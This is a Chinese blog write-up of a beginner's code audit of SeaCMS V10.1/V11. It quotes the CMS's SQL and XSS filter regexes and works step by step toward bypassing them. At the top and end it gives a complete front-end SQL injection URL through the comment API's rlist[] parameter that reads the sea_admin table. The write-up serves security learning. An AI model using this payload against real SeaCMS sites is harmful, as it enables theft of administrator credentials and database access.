(海洋cms教程)海洋CMS代码审计过程分析

2022-04-04 0 834

苹果cms模板

(海洋cms教程)海洋CMS代码审计过程分析

最近在学代码审计,但总是学了忘,所以把思路步骤全写下来,便于后期整理。这次审计的是 seacmsV10.1,但是审完返现 V11 也有同样的漏洞。先放 payload:

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)//@**@“**//UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

(海洋cms教程)海洋CMS代码审计过程分析代码审计不知道该如何入手,所以去看了 cnvd,在 cnvd 上看到 seacms10.1 有个前台注入,于是尝试分析了一波,全部弄完发现作者发布了最后一版

更新日期:2020 年 06 月 08 日 v11更新新域名 以后不再更新,从此山高水长,有缘再见。

至于 V11,一模一样的漏洞,这次标题完全可以改成 seacmsV0.1&V11 前台注入漏洞。

过程

用 seay 源代码审计系统先看看哪些地方容易出现注入,但内容太多了,因为看到的是前台 sql 注入,于是在审计时把admin目录下的内容全删除了,内容太多,所以先分析select,在弄其他的。 

入口点分析: 

之前分析过 6.45-6.55 的代码执行,所以轻易找到处理传参的地方/include/common.php:

作者为了避免之前的变量覆盖对所有我能想到的传参方式都做了匹配,GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION。

//检查和注册外部提交的变量$jpurl=//.$_SERVER[SERVER_NAME];foreach($_REQUEST as $_k=>$_v){if( strlen($_k)>0 && m_eregi(^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION),$_k)){Header(“Location:$jpurl”);exit(err1);}}

输出报错从err0写道err7。 

随便构造个语句,比如?di=1 union select看看防护在哪。注:语句瞎写的,用来找防护在哪。

(海洋cms教程)海洋CMS代码审计过程分析

根据报错搜索全文

(海洋cms教程)海洋CMS代码审计过程分析

在Upload/include/webscan/webscan.php有对get post cookie输入的内容拦截,get拦截内容如下:

//get拦截规则$getfilter = “\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)\”\\d]+?=[\\(\\)\”\\d]+?|[\\(\\)\”a-zA-Z]+?=[\\(\\)\”a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\”])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`||\”).*?(`||\”)\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`||\”).*?(`||\”)\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`||\”).*?(`||\”))FROM(\\(.+\\)|\\s+?.+?|(`||\”).*?(`||\”))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)”;

其中UNION.+?SELECT在印象中可以使用正则逃逸解决,即空格可以使用%2d%2d%0a、%23%0a之类的代替,构造?id=1%2d%2d%0aunion%2d%2d%0aselect%2d%2d%0a1,2,3。

(海洋cms教程)海洋CMS代码审计过程分析

虽然不知道能不能用,最起码检测过去了。 

解下来看看有哪些地方执行了sql语句,在seay没跑完的时候,已经出来一堆了相关语句了。

(海洋cms教程)海洋CMS代码审计过程分析

感觉看完头肯定会很凉,而且我代码很菜,sql语句也很菜,所以先尝试去看看和select相关的地方。 

访问Upload/member.php

if($mod==repsw2){require_once(data/admin/smtp.php);if($smtppsw==off){showMsg(“抱歉,系统已关闭密码找回功能!”,”index.php”,0,);exit();}if(empty($repswname)){{showMsg(“请输入账户名称!”,”-1″,0,3000);exit();}}$row=$dsql->GetOne(“select * from sea_member where username=$repswname”);

在这个地方看到了select, 通读得知在找回密码时会到这里,访问

(海洋cms教程)海洋CMS代码审计过程分析

无法访问,修改Upload/data/admin/smtp.php内$smtppsw = “on”,断点追踪,发现在Upload/include/sql.class.php内会有检查;

//SQL语句安全检查$sql=CheckSql($sql);

里面一堆东西,穿个语句试试,构造test%2d%2d%0aunion%2d%2d%0aselect%2d%2d%0a1,2,3,执行的过程很神奇,我在$sql=CheckSql($sql);后输出了$sql,好像没对语句进行修改。

直接构造test and updatexml(1,0x7e,1)#

(海洋cms教程)海洋CMS代码审计过程分析

报错

(海洋cms教程)海洋CMS代码审计过程分析

定位错误,发现错误在CheckSql();内,研究发现

//SQL语句过滤程序,由80sec提供,这里作了适当的修改function CheckSql($db_string,$querytype=select)

也就是说只要能过了检测,那语句就是想怎么玩怎么玩了。网上百度的是用@“sql语句#来绕过防护。这个地方是字符型传参,所以前面加个闭合,根据网上的教程,构造

@`%27`@`%27`and%20updatexml(1,0x7e,1)#

这样危险字符会被转成$s$,从而绕过后面的检查,但是结果了出现了$s$$s$

(海洋cms教程)海洋CMS代码审计过程分析

而在代码中有这么个判断:

if (stripos($clean, @) !== FALSEOR stripos($clean,char()!== FALSEOR stripos($clean,script>)!== FALSE OR stripos($clean,<script)!== FALSEOR stripos($clean,”)!== FALSE OR stripos($clean,$s$$s$)!== FALSE)……{$fail = TRUE;if(preg_match(“#^create table#i”,$clean)) $fail = FALSE;$error=”unusual character”;}if (!empty($fail)){fputs(fopen($log_file,a+),”$userIP||$getUrl||$db_string||$error\r\n”);exit(“<font size=5 color=red>Safe Alert: Request Error step 2!</font>”);}

根据代码可知,只要有$s$$s$就会中断执行。 

后面试了很多方法,都不行,各位有好方法还请赐教。而且页面试了其他地方的,也不行,很多参数都是直接读取的,没法控制。 

换一个地方,找一个数字型的地方试试。 

(海洋cms教程)海洋CMS代码审计过程分析

查看Upload/comment/api/index.php文件,用到select的地方只有 4 个,待会儿挨个查看。 

开头$gid $page $type进行了判断,但是is_numeric是弱类型,可以使用 16 进制绕过。 

$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;$page = (isset($page) && is_numeric($page)) ? $page : 1;$type = (isset($type) && is_numeric($type)) ? $type : 1;

根据代码构造?gid=1&page=2&rtype=1,注意page<2会中断运行,断点追踪执行过程

(海洋cms教程)海洋CMS代码审计过程分析

(海洋cms教程)海洋CMS代码审计过程分析

发现经过上述 4 条语句中的前两条,尝试使用 16 进制做判断,测试了很多方法,用了好久都不行,后来直接在数据库里构造也没弄出合适的语句 

(海洋cms教程)海洋CMS代码审计过程分析

只能接着往下看了。接下来是

$sql = “SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC”;

里面有两个参数$type和$ids,查看$ids是如何构造的

(海洋cms教程)海洋CMS代码审计过程分析

梳理下过程,函数运行到 18 行$h = ReadData($id,$page);之后,在第 19 行开始赋值$rlist = array();,一路运行到 24 行die($h);重新运行$h = ReadData($id,$page);此时$rlist是一个空数组。

在函数ReadData中 

function ReadData($id,$page){global $type,$pCount,$rlist;$ret = array(“”,””,$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(,,$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}}

在id>0时首先执行$ret[0] = Readmlist($id,$page,$ret[4]);,而在函数Readmlist中对$rlist进行了处理

function Readmlist($id,$page,$size){global $dsql,$type,$pCount,$rlist;$rlist = str_ireplace(@, “”, $rlist); $rlist = str_ireplace(/*, “”, $rlist);$rlist = str_ireplace(*/, “”, $rlist);$rlist = str_ireplace(*!, “”, $rlist);

这里把一些符号做了过滤,接着执行$x = implode(,,$rlist);,当$x不为空则执行$ret[1] = Readrlist($x,1,10000);,在函数Readrlist中

$sql = “SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC”;

根据之前的内容分析,只要满足id>0且$page不小于2,构造类似rlist[]=1234)sql语句便可以执行语句。考虑到之前的拦截,尝试构造了

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@“union%2d%2d%0aselect%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

报错如下

(海洋cms教程)海洋CMS代码审计过程分析

全局搜索,在Upload/include/sql.class.php中

if($querytype==select){$notallow1 = “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;//$notallow2 = “–|/\*”;if(m_eregi($notallow1,$db_string)){exit(SQL check);}if(m_eregi(<script,$db_string)){exit(SQL check);}if(m_eregi(/script,$db_string)){exit(SQL check);}if(m_eregi(script>,$db_string)){exit(SQL check);}if(m_eregi(if:,$db_string)){exit(SQL check);}if(m_eregi(–,$db_string)){exit(SQL check);}if(m_eregi(char(,$db_string)){exit(SQL check);}if(m_eregi(*/,$db_string)){exit(SQL check);}}

不允许有小写的union和select,重新构造

(海洋cms教程)海洋CMS代码审计过程分析

没执行,但是没有报拦截,断点追踪,看看语句

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`\`UNION–SELECT#1,2,3,4,5,6,7,8,9,10,11#from#sea_admin– \) AND ischeck=1 ORDER BY id DESC

(海洋cms教程)海洋CMS代码审计过程分析

分析可知,多了个单引号,这个单引号虽然有助于绕过 80sec 防注入,但是在数据库里会出问题,尝试注释搞掉它 因为有过滤,所以试着用下面的方式进行注释

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/`@`*`@“@`*`@`/`UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

追踪日志执行的语句为

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`/“*“\“*“/`UNION–SELECT#1,2,3,4,5,6,7,8,9,10,11#from#sea_admin– \) AND ischeck=1 ORDER BY id DESC

同样不行,也尝试过构造

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/*`@“@`*/`UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

报错

(海洋cms教程)海洋CMS代码审计过程分析

其实这时候说明成功构造了出了/**/,只不过被拦截了,使用@插在/和*中间打破正则,构造

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/@*`@“@`*/`UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

结果没报错,查看日志发现构造的注释没有了

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)“`\“`UNION–SELECT#1,2,3,4,5,6,7,8,9,10,11#from#sea_admin– \) AND ischeck=1 ORDER BY id DESC

这个是因为之前的那个过滤

function Readmlist($id,$page,$size){global $dsql,$type,$pCount,$rlist;$rlist = str_ireplace(@, “”, $rlist); $rlist = str_ireplace(/*, “”, $rlist);$rlist = str_ireplace(*/, “”, $rlist);$rlist = str_ireplace(*!, “”, $rlist);

双写绕过试试,构造

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`//@**`@“@`**//`UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

结果如下

(海洋cms教程)海洋CMS代码审计过程分析

查看日志

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`/*“\“*/`UNION–SELECT#1,2,3,4,5,6,7,8,9,10,11#from#sea_admin– \) AND ischeck=1 ORDER BY id DESC

狗血的是我在数据库里调试时把注释两头的点去掉就能用了

`/*“\“*/`

改成

/*`\`*/

而两头的点只要把之前构造的语句换成

/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)//@**@“**//UNION–%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin–

就可以了,如下图

(海洋cms教程)海洋CMS代码审计过程分析

查个密码

(海洋cms教程)海洋CMS代码审计过程分析

总结

作为一个总是记不住各种函数的小萌新,整个过程总结下来,不过是:

1、在找到负责执行的语句

2、找到输入的地方,构造相应的传参

3、追踪过程,根据报错找到拦截的地方,思考绕过的方式

4、构造能顺利执行的语句,反推如何输入

这是我学代码审计的第二周,也是我审计的第三个 cms, 在这过程中深刻体会到一句话: 漏洞的本质在于输入和输出的控制, 道阻且长,代码多不胜数,慢慢记吧。

(海洋cms教程)海洋CMS代码审计过程分析


海洋cms模板

苹果CMS模板 杂七杂八 (海洋cms教程)海洋CMS代码审计过程分析 https://www.pgcms.net/1245.html

常见问题
  • 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。
查看详情
  • 最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或联络我们。
查看详情

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务